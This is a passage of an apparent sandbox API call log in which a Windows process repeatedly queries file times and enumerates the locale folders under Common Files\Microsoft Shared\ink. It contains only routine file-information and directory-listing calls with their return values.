lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.125] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.125] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.125] CloseHandle (hObject=0x198) returned 1 [0071.126] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.126] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.126] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.127] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.127] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.127] CloseHandle (hObject=0x198) returned 1 [0071.127] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.127] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.127] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.127] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.127] CloseHandle (hObject=0x198) returned 1 [0071.128] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.128] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.128] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.128] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.128] CloseHandle (hObject=0x198) returned 1 [0071.128] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.128] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.129] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.129] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.129] CloseHandle (hObject=0x198) returned 1 [0071.130] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.130] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.130] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.130] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.130] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.130] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.130] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.130] CloseHandle (hObject=0x198) returned 1 [0071.130] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.130] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.130] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.130] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.130] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.131] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.131] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.131] CloseHandle (hObject=0x198) returned 1 [0071.131] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.131] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.131] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.131] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.131] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.131] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.131] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.131] CloseHandle (hObject=0x198) returned 1 [0071.132] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.132] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.132] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.133] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.133] CloseHandle (hObject=0x198) returned 1 [0071.133] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.133] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.133] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.133] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.133] CloseHandle (hObject=0x198) returned 1 [0071.134] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.134] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.134] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.134] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.134] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.134] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.134] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.134] CloseHandle (hObject=0x198) returned 1 [0071.134] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.134] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.134] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.134] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.135] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.135] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.135] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.135] CloseHandle (hObject=0x198) returned 1 [0071.136] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.136] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.136] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.136] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.136] CloseHandle (hObject=0x198) returned 1 [0071.136] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.136] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.136] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.137] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.137] CloseHandle (hObject=0x198) returned 1 [0071.137] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.137] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.137] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.137] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.137] CloseHandle (hObject=0x198) returned 1 [0071.138] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.138] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.138] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.138] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.138] CloseHandle (hObject=0x198) returned 1 [0071.138] GetFileType (hFile=0x198) returned 0x1 [0071.143] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7c2a980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7c2a980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.144] GetFileType (hFile=0x198) returned 0x1 [0071.148] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7c50ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7c50ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.149] GetFileType (hFile=0x198) returned 0x1 [0071.153] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7c50ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7c50ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.154] GetFileType (hFile=0x198) returned 0x1 [0071.159] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7c50ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7c50ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.160] GetFileType (hFile=0x198) returned 0x1 [0071.166] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7c76c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7c76c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.167] GetFileType (hFile=0x198) returned 0x1 [0071.171] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7c76c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7c76c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.173] GetFileType (hFile=0x198) returned 0x1 [0071.198] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7cc2f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7cc2f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.199] GetFileType (hFile=0x198) returned 0x1 [0071.204] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7cc2f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7cc2f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.204] GetFileType (hFile=0x198) returned 0x1 [0071.225] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7d0f1c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7d0f1c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.226] GetFileType (hFile=0x198) returned 0x1 [0071.230] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7d0f1c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7d0f1c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.231] GetFileType (hFile=0x198) returned 0x1 [0071.235] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7d0f1c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7d0f1c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.237] GetFileType (hFile=0x198) returned 0x1 [0071.241] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7d35320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7d35320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.242] GetFileType (hFile=0x198) returned 0x1 [0071.246] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7d35320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7d35320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.247] GetFileType (hFile=0x198) returned 0x1 [0071.251] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7d35320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7d35320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 